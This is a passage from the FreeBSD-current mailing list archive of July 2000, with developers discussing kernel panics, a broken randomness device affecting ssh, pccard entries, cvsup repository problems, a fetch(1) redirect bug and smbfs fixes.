wouldn't be supported and marked as # XXX NOT SUPPORTED YET and disabled because of driver porting issue. But we could be wrong, so please check them. cnw, fe, gp, hss, joy, ncv, nsp, opl, scc, stg and wlp drivers - Please test other kind of generic cards which use ata, ed, ep, sio, sn and xe drivers if you have. We're not sure whether card would work correctly if the entry has ether line. We are going to MFC this patch with following schedule. We would very much appreciate your cooperations. 7/13 nomads, current ML review 7/16 CURRENT commit 7/19 MFC 7/20 RELENG_4 freeze Thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 9:36:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from cypherpunks.ai (cypherpunks.ai [209.88.68.47]) by hub.freebsd.org (Postfix) with ESMTP id 18FAE37BF86 for ; Wed, 12 Jul 2000 09:36:18 -0700 (PDT) (envelope-from jeroen@vangelderen.org) Received: from vangelderen.org (grolsch.ai [209.88.68.214]) by cypherpunks.ai (Postfix) with ESMTP id 6C48E51; Wed, 12 Jul 2000 12:36:12 -0400 (AST) Message-ID: <396C9E7C.781ABA6@vangelderen.org> Date: Wed, 12 Jul 2000 12:36:12 -0400 From: "Jeroen C. van Gelderen" X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: John Galt Cc: Mark Murray , freebsd-current@FreeBSD.ORG Subject: Re: ssh not working after upgrading OS? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Galt wrote: > On Wed, 12 Jul 2000, Mark Murray wrote: > > > > You are probably using a -CURRENT with a broken randomness > > > device. For more information you can try and search the > > > mailing list archives. > > > > No - he has _no_ randomness device. > > Isn't there an add-on daemon for that, ESD or somesuch? The OpenSSL docs > mention it. Yes and no. That daemon is a 'hack' for systems that lack a randomness device. You don't want to use it when you do have a good /dev/random. FreeBSD has a /dev/random except that it has been broken for a while whilst MarkM brought it up to snuff. The mailing list archives ought to contain all of the details one needs to fix this temporary problem. No need to resort to EGD, just tweak some config. Cheers, Jeroen -- Jeroen C. van Gelderen o _ _ _ jeroen@vangelderen.org _o /\_ _ \\o (_)\__/o (_) _< \_ _>(_) (_)/<_ \_| \ _|/' \/ (_)>(_) (_) (_) (_) (_)' _\o_ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 10:53:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.ruhr.de (in-ruhr2.ruhr.de [141.39.224.60]) by hub.freebsd.org (Postfix) with SMTP id A118837B7E2 for ; Wed, 12 Jul 2000 10:53:15 -0700 (PDT) (envelope-from ue@nathan.ruhr.de) Received: (qmail 66573 invoked by alias); 12 Jul 2000 17:53:40 -0000 Received: (from ue@localhost) by nathan.ruhr.de (8.9.3/8.9.3) id SAA10728; Wed, 12 Jul 2000 18:55:29 +0200 (CEST) (envelope-from ue) Date: Wed, 12 Jul 2000 18:55:29 +0200 From: Udo Erdelhoff To: Brian Somers Cc: freebsd-current@FreeBSD.ORG, brian@storm.FreeBSD.org.uk Subject: Re: panic in sbdrop(), propably not ppp-related Message-ID: <20000712185529.B272@nathan.ruhr.de> References: <200007121350.OAA11795@hak.lan.Awfulhak.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200007121350.OAA11795@hak.lan.Awfulhak.org>; from brian@Awfulhak.org on Wed, Jul 12, 2000 at 02:50:45PM +0100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jul 12, 2000 at 02:50:45PM +0100, Brian Somers wrote: > I'd like to disclaim all responsibility :-I I'm almost convinced you're innocent. I've managed to restabilize my system by replacing "set device PPPoE:ed1" with "set device /dev/cuaa2". I've been pumping data through ppp for about 10 hours now and everything is perfect. And yes, the sbdrop panic also happens if /etc/malloc.conf is a symbolic link to aj. /s/Udo -- He who findeth sensuous pleasures in the bodies of lush, hot, pink damsels is not righteous, but he can have a lot more fun. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 10:56: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail1.teleport.com (mail1.teleport.com [192.108.254.26]) by hub.freebsd.org (Postfix) with SMTP id C9D7B37BCD3 for ; Wed, 12 Jul 2000 10:56:00 -0700 (PDT) (envelope-from anholt@teleport.com) Received: (qmail 2605 invoked from network); 12 Jul 2000 17:55:57 -0000 Received: from i48-45-38.pdx.du.teleport.com (HELO ?10.1.1.2?) (216.26.63.230) by mail1.teleport.com with SMTP; 12 Jul 2000 17:55:57 -0000 Mime-Version: 1.0 X-Sender: anholt@mail.teleport.com Message-Id: In-Reply-To: <1637.963396699@axl.ops.uunet.co.za> References: <1637.963396699@axl.ops.uunet.co.za> Date: Tue, 11 Jul 2000 10:54:47 -0700 To: current@freebsd.org From: Eric Anholt Subject: Re: syscons hangs with -current Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm afraid I don't quite understand how that desribes the fix to my problem (Freezing on boot after having probed a non-existant vga1 and sc1). What I did do, I went into sys/dev/fb/vga.c and commented out the second vga head detection. Works beautifully now, though it would be better to actually figure out why it was finding another vga card. Still, it's up and running. Now, if I could just figure out why ppp doesn't work (keeps complaining about "tun0: Warning: Add route failed: 0.0.0.0: errno: Network is unreachable", dials, and then sits and does nothing.) >On Mon, 10 Jul 2000 10:39:44 MST, Eric Anholt wrote: > >> Nope, same old device sc 1. I've tried unmodified GENERIC, and it >> does the same thing. Why am I special? > >I believe that the attached commit message describes the fix to the >problem. However, I'd recommend going all the way to rev 1.10 or >whatever the latest is by the time you get this mail. :-) > >Ciao, >Sheldon. > > >green 2000/07/10 23:47:38 PDT > > Modified files: > sys/dev/randomdev yarrow.c > Log: > One should never allocate 4-kilobyte structs and such on the interrupt > stack. It's bad for your machine's health. > > Make the two huge structs in reseed() static to prevent crashes. This > is the bug that people have been running into and panic()ing on for the > past few days. > > Reviewed by: phk > > Revision Changes Path > 1.8 +7 -3 src/sys/dev/randomdev/yarrow.c -- -- Eric Anholt anholt@teleport.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 11:27:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 4018A37B7E2; Wed, 12 Jul 2000 11:27:09 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA54342; Wed, 12 Jul 2000 12:27:04 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA16681; Wed, 12 Jul 2000 12:26:56 -0600 (MDT) Message-Id: <200007121826.MAA16681@harmony.village.org> To: Mitsuru IWASAKI Subject: Re: CFR: pccard.conf entries from PAO (130 entries!) Cc: current@FreeBSD.ORG, mobile@FreeBSD.ORG In-reply-to: Your message of "Thu, 13 Jul 2000 01:23:32 +0900." <20000713012332Y.iwasaki@jp.FreeBSD.org> References: <20000713012332Y.iwasaki@jp.FreeBSD.org> Date: Wed, 12 Jul 2000 12:26:56 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000713012332Y.iwasaki@jp.FreeBSD.org> Mitsuru IWASAKI writes: : Xircom CompactCard Ethernet 10 (CFE-10) The entry for this that I just committed works great for me :-) : - We are sure that some kind of cards wouldn't be supported and marked as : # XXX NOT SUPPORTED YET : and disabled because of driver porting issue. But we could be wrong, : so please check them. : cnw, fe, gp, hss, joy, ncv, nsp, opl, scc, stg and wlp drivers fe doesn't work w/o iwasaki-san's patches. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 11:36:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from inconnu.isu.edu (inconnu.isu.edu [134.50.8.55]) by hub.freebsd.org (Postfix) with ESMTP id 5819637C04E for ; Wed, 12 Jul 2000 11:36:11 -0700 (PDT) (envelope-from galt@inconnu.isu.edu) Received: from localhost (galt@localhost) by inconnu.isu.edu (8.9.3/8.9.3) with ESMTP id KAA03766; Wed, 12 Jul 2000 10:04:49 -0600 Date: Wed, 12 Jul 2000 10:04:49 -0600 (MDT) From: John Galt To: Mark Murray Cc: "Jeroen C. van Gelderen" , freebsd-current@FreeBSD.ORG Subject: Re: ssh not working after upgrading OS? In-Reply-To: <200007120642.IAA96357@grimreaper.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Isn't there an add-on daemon for that, ESD or somesuch? The OpenSSL docs mention it. On Wed, 12 Jul 2000, Mark Murray wrote: > > You are probably using a -CURRENT with a broken randomness > > device. For more information you can try and search the > > mailing list archives. > > No - he has _no_ randomness device. > > M > -- > Mark Murray > Join the anti-SPAM movement: http://www.cauce.org > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- There is an old saying that if a million monkeys typed on a million keyboards for a million years, eventually all the works of Shakespeare would be produced. Now, thanks to Usenet, we know this is not true. Who is John Galt? galt@inconnu.isu.edu, that's who! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 13: 4:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id B68F937BDDE for ; Wed, 12 Jul 2000 13:04:47 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id NAA20683; Wed, 12 Jul 2000 13:04:45 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id NAA56370; Wed, 12 Jul 2000 13:04:44 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Wed, 12 Jul 2000 13:04:44 -0700 (PDT) Message-Id: <200007122004.NAA56370@vashon.polstra.com> To: brian@Awfulhak.org Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: <200007121405.PAA11870@hak.lan.Awfulhak.org> References: <200007121405.PAA11870@hak.lan.Awfulhak.org> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <200007121405.PAA11870@hak.lan.Awfulhak.org>, Brian Somers wrote: > I haven't looked into it too deeply yet because of other source tree > problems, but if you used to get your crypto ,v files from internat, > you will suffer some funny problems unless you nuke the old checked-out > files. [...] > The problem occurs when you cvsup the new crypto-in-src-all sources > and replace RCS files with different contents and the same version > number. cvs update/checkout compares the repo version number against > the checked out version number and considers the file an ``M'' > (modified source). The file isn't updated and your world gets > corrupted. One thing I'd like to stress is that this only affects you if you're getting the CVS files (*,v) and then using the cvs command to check them out and/or update them. If you are using CVSup in checkout mode (*default tag=something) then you don't need to do anything special. > This is probably a candidate for UPDATING. That wouldn't hurt. But it actually affects _all_ branches, I believe. So in a way, UPDATING doesn't cover enough ground. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 14:17:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21]) by hub.freebsd.org (Postfix) with ESMTP id 2196F37B6EE; Wed, 12 Jul 2000 14:17:22 -0700 (PDT) (envelope-from wkb@freebie.demon.nl) Received: from [212.238.54.101] (helo=freebie.demon.nl) by post.mail.nl.demon.net with smtp (Exim 3.14 #4) id 13CTse-000Azu-00; Wed, 12 Jul 2000 21:17:20 +0000 Received: (from wkb@localhost) by freebie.demon.nl (8.9.3/8.9.3) id XAA02167; Wed, 12 Jul 2000 23:17:00 +0200 (CEST) (envelope-from wkb) Date: Wed, 12 Jul 2000 23:17:00 +0200 From: Wilko Bulte To: freebsd-alpha@freebsd.org, freebsd-current@freebsd.org Subject: unaligned access fault panic during boot? Message-ID: <20000712231700.A2143@freebie.demon.nl> Reply-To: wilko@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-OS: FreeBSD 4.0-STABLE X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Using a freshly supped -current source tree (2 hours ago) I'm getting a panic on boot: trap entry = 0x4 (unaligned access fault) a0 = 0xfffffc0000590a33 a1 = 0x2c a2 = 0x2 pc = 0xfffffc00003a970c ra = 0xfffffc00003a96b8 curproc = 0 This is a Miata GL 600ua. Anybody else seeing this ? I had hoped to build a release overnight to (hopefully) be able to test Lynx support. Wilko -- Wilko Bulte http://www.freebsd.org "Do, or do not. There is no try" wilko@freebsd.org http://www.nlfug.nl Yoda - The Empire Strikes Back To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 22:57:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.internet.dk (ns.internet.dk [194.19.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 066E337B6B2 for ; Wed, 12 Jul 2000 22:57:18 -0700 (PDT) (envelope-from leifn@neland.dk) Received: (from uucp@localhost) by ns.internet.dk (8.9.3/8.9.3) with UUCP id HAA02838 for freebsd-current@freebsd.org; Thu, 13 Jul 2000 07:57:16 +0200 (CEST) (envelope-from leifn@neland.dk) Received: from localhost (localhost [127.0.0.1]) by arnold.neland.dk (8.9.3/8.9.3) with ESMTP id HAA07271 for ; Thu, 13 Jul 2000 07:57:06 +0200 (CEST) (envelope-from leifn@neland.dk) Date: Thu, 13 Jul 2000 07:57:06 +0200 (CEST) From: Leif Neland To: freebsd-current@freebsd.org Subject: cvsup deadlock and ssh error Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After cvsupping around 1:00 GMT and making world, I got this when doing cvsup again: Parsing supfile "/root/standard-supfile" Connecting to cvsup.dk.FreeBSD.org *************************************************************** id Thread.T closure root A* waiting for > 2 0x8388400 0x8388740 MeterMaid condition 0x8385778 1 0x8368004 0x0 *main program* A I/O 4 0x838851c 0x8388874 Watcher condition 0x8385f6c 3 0x838874c 0x83889d4 VFontCleanUpThread condition 0x8385d0c *************************************************************** *** *** runtime error: *** Deadlock ! *** ------------------ EXCEPTION HANDLER STACK --------------------- 0x83be784 RAISES {Thread.Alerted} 0x83be7c0 TRY-FINALLY proc = 0x81e6c70 frame = 0x83be7d0 0x83be7e8 RAISES {} 0x83be820 LOCK mutex = 0x8385768 ---------------------------------------------------------------- Also ssh gives this message in /var/log/messages Jul 13 07:24:50 gina sshd[233]: error: select: Operation not supported by device Jul 13 07:24:50 gina last message repeated 41 times Jul 13 07:24:51 gina sshd[233]: error: select: No buffer space available Jul 13 07:24:52 gina last message repeated 140 times Leif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 23:11:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 94EC637C3FD; Wed, 12 Jul 2000 23:10:30 -0700 (PDT) (envelope-from green@FreeBSD.org) Date: Thu, 13 Jul 2000 02:10:05 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.dyndns.org To: Poul-Henning Kamp Cc: "Thomas D. Dean" , freebsd-smp@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Recent -current Performance Drop? In-Reply-To: <2461.963339806@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 11 Jul 2000, Poul-Henning Kamp wrote: > >I seem to see somewhat of a performance drop in the past week. > > You should have read the commit messages :-) > > I enabled malloc flags AJ by default, this has a performance > cost. It will be turned off for releases of course. > > It has already exposed on bug (see peters commit). ^- Multiple bugs, thankyouverymuch :) > You can disable it if you want to run benchmarks: If you run a desktop system (need good response) and aren't willing to take the large performance hit, too. Note it's a large performance hit when you tend to run a LOT of stuff and always dig into swap very quickly. I imagine for most people, the performance drop isn't nearly as high, so they can live with it :) > ln -sf aj /etc/malloc.conf > > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD coreteam member | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 23:12:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [210.226.20.160]) by hub.freebsd.org (Postfix) with ESMTP id 739E137B676 for ; Wed, 12 Jul 2000 23:12:27 -0700 (PDT) (envelope-from kuriyama@FreeBSD.org) Received: from waterblue.imgsrc.co.jp (localhost [127.0.0.1]) by waterblue.imgsrc.co.jp (8.11.0.Beta3/8.11.0.Beta1) with ESMTP id e6D6CKG00776; Thu, 13 Jul 2000 15:12:21 +0900 (JST) Date: Thu, 13 Jul 2000 15:12:20 +0900 Message-ID: <7m8zv6o8xn.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: des@flood.ping.uio.no Cc: FreeBSD-current@FreeBSD.org Subject: Re: fetch http://cgi returns -1 size In-Reply-To: In your message of "12 Jul 2000 10:49:54 +0200" References: <7md7kjst3c.wl@waterblue.imgsrc.co.jp> User-Agent: Wanderlust/1.1.1 (Purple Rain) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 10) (Capitol Reef) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 12 Jul 2000 08:56:11 GMT, Dag-Erling Smorgrav wrote: > The bug is only in the status report, check the acutal size of > fetch.out. I fixed this in a commit half an hour ago. Thanks! By the way, current implementation of fetch(1) ignores "301 redirect" silently. Is it expected behavior? Should it make warning message without -v option? (or following redirection?) % fetch http://www.lyra.org/cgi-bin/viewcvs.cgi % ls fetch.out ls: fetch.out: No such file or directory % fetch -v -v http://www.lyra.org/cgi-bin/viewcvs.cgi looking up www.lyra.org connecting to www.lyra.org:80 requesting http://www.lyra.org:80/cgi-bin/viewcvs.cgi 301 redirect to /cgi-bin/viewcvs.cgi/ -- Jun Kuriyama // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 1:29:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id 1516237B98C for ; Thu, 13 Jul 2000 01:29:28 -0700 (PDT) (envelope-from bp@butya.kz) Received: from bp (helo=localhost) by relay.butya.kz with local-esmtp (Exim 3.15 #1) id 13CeMj-0005MG-00; Thu, 13 Jul 2000 15:29:05 +0700 Date: Thu, 13 Jul 2000 15:29:05 +0700 (ALMST) From: Boris Popov To: A G F Keahan Cc: freebsd-current@FreeBSD.ORG Subject: Re: smbfs problem In-Reply-To: <3968A683.C4238D08@freenet.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 9 Jul 2000, A G F Keahan wrote: > I have a strange problem with smbfs, where the mounted share times out > and becomes inaccessible after a period of time. I haven't been able to > pinpoint the exact moment when it happens, but basically: This was a bug in the processing of keep-alive packets - fixed. > Also, smbutil doesn't seem to work: > > hightemplar:~$ smbutil view //alex@pluto > smbutil: can't get handle to requester > smbutil: could not login to server PLUTO: syserr = Invalid argument You have to change permissions for the /dev/net/nsmb0 device to give access to plain users (no devfs yet). New version (1.2.4) can be downloaded from ftp://ftp.butya.kz/pub/smbfs/smbfs.tar.gz -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 1:48:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id D0E0C37C2F2; Thu, 13 Jul 2000 01:48:44 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id KAA90138; Thu, 13 Jul 2000 10:48:43 +0200 (CEST) (envelope-from des@flood.ping.uio.no) To: Jun Kuriyama Cc: FreeBSD-current@FreeBSD.org Subject: Re: fetch http://cgi returns -1 size References: <7md7kjst3c.wl@waterblue.imgsrc.co.jp> <7m8zv6o8xn.wl@waterblue.imgsrc.co.jp> From: Dag-Erling Smorgrav Date: 13 Jul 2000 10:48:42 +0200 In-Reply-To: Jun Kuriyama's message of "Thu, 13 Jul 2000 15:12:20 +0900" Message-ID: Lines: 10 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jun Kuriyama writes: > By the way, current implementation of fetch(1) ignores "301 redirect" > silently. Is it expected behavior? Should it make warning message > without -v option? (or following redirection?) Uh, that's a bug. It's supposed to work. I'll be right on it. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 2: 0:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 6AA5837B66D; Thu, 13 Jul 2000 02:00:33 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id LAA90183; Thu, 13 Jul 2000 11:00:32 +0200 (CEST) (envelope-from des@flood.ping.uio.no) To: Jun Kuriyama Cc: FreeBSD-current@FreeBSD.org Subject: Re: fetch http://cgi returns -1 size References: <7md7kjst3c.wl@waterblue.imgsrc.co.jp> <7m8zv6o8xn.wl@waterblue.imgsrc.co.jp> From: Dag-Erling Smorgrav Date: 13 Jul 2000 11:00:31 +0200 In-Reply-To: Jun Kuriyama's message of "Thu, 13 Jul 2000 15:12:20 +0900" Message-ID: Lines: 13 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jun Kuriyama writes: > By the way, current implementation of fetch(1) ignores "301 redirect" > silently. Is it expected behavior? Should it make warning message > without -v option? (or following redirection?) The bug is twofold: first, it doesn't handle relative redirects properly; second, because of a small logic bug it doesn't actually loop back to try again with the new URL... I'll commit a fix in a few minutes. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 2:22: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from hcshh.hcs.de (hcshh.hcs.de [194.123.40.1]) by hub.freebsd.org (Postfix) with SMTP id 6077937C33C; Thu, 13 Jul 2000 02:22:02 -0700 (PDT) (envelope-from hm@hcs.de) Received: from hcswork.hcs.de([192.76.124.5]) (1525 bytes) by hcshh.hcs.de via sendmail with P:smtp/R:inet_hosts/T:smtp (sender: ) id for ; Thu, 13 Jul 2000 11:22:01 +0200 (CEST) (Smail-3.2.0.104 1998-Nov-20 #1 built 1998-Dec-11) Received: by hcswork.hcs.de (Postfix, from userid 200) id 48C5E483D; Thu, 13 Jul 2000 11:21:55 +0200 (METDST) Subject: Re: config/hints changes: panic booting pcvt kernel In-Reply-To: <20000709160754.9B08E1029@hcswork.hcs.de> from Hellmuth Michaelis at "Jul 9, 0 06:07:54 pm" To: freebsd-current@FreeBSD.ORG Date: Thu, 13 Jul 2000 11:21:55 +0200 (METDST) Cc: dcs@newsguy.com, peter@FreeBSD.ORG Reply-To: hm@hcs.de Organization: HCS Hanseatischer Computerservice GmbH X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 618 Message-Id: <20000713092155.48C5E483D@hcswork.hcs.de> From: hm@hcs.de (Hellmuth Michaelis) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just for the record: i added a printf statement to the beginning of every subroutine in file /sys/dev/kbd/kbd.c and with this additions the panic disappears and pcvt runs fine as ever. Removing the printf's from kbd.c shows the usual described panic. I'm now completely out of ideas .... hellmuth -- Hellmuth Michaelis Tel +49 40 55 97 47-70 HCS Hanseatischer Computerservice GmbH Fax +49 40 55 97 47-77 Oldesloer Strasse 97-99 Mail hm [at] hcs.de D-22457 Hamburg WWW http://www.hcs.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 2:30:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from sohara.dyndns.org (pooh.elsevier.nl [145.36.13.27]) by hub.freebsd.org (Postfix) with ESMTP id 5E9DD37C354; Thu, 13 Jul 2000 02:30:08 -0700 (PDT) (envelope-from steve@sohara.dyndns.org) Received: (from steve@localhost) by sohara.dyndns.org (8.9.3/8.9.3) id KAA01440; Thu, 13 Jul 2000 10:37:29 +0100 (IST) (envelope-from steve) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20000713092155.48C5E483D@hcswork.hcs.de> Date: Thu, 13 Jul 2000 10:37:29 +0100 (IST) From: "Steve O'Hara-Smith" To: (Hellmuth Michaelis) Subject: Re: config/hints changes: panic booting pcvt kernel Cc: peter@FreeBSD.ORG, dcs@newsguy.com, freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 13-Jul-00 Hellmuth Michaelis wrote: > I'm now completely out of ideas .... Try and pin down which printf really makes a difference ? I recall a long time ago a bit of code that had calls to a function that did nothing, the comment was that it prevented an MSC optimiser bug from screwing things up. -- Steve O'Hara-Smith http://sohara.webhop.net/ A Better Way To Focus The Sun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 2:30:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id B8A1637C3B9 for ; Thu, 13 Jul 2000 02:30:07 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.15 #1) id 13CfJT-000KYa-00; Thu, 13 Jul 2000 11:29:47 +0200 From: Sheldon Hearn To: Eric Anholt Cc: current@FreeBSD.ORG Subject: Re: syscons hangs with -current In-reply-to: Your message of "Tue, 11 Jul 2000 10:54:47 MST." Date: Thu, 13 Jul 2000 11:29:47 +0200 Message-ID: <79023.963480587@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 11 Jul 2000 10:54:47 MST, Eric Anholt wrote: > What I did do, I went into sys/dev/fb/vga.c and commented out the > second vga head detection. Works beautifully now, though it would be > better to actually figure out why it was finding another vga card. > Still, it's up and running. I'd discuss this with Kazutaka YOKOTA Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 3:10:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 65B0C37C3D6 for ; Thu, 13 Jul 2000 03:10:16 -0700 (PDT) (envelope-from 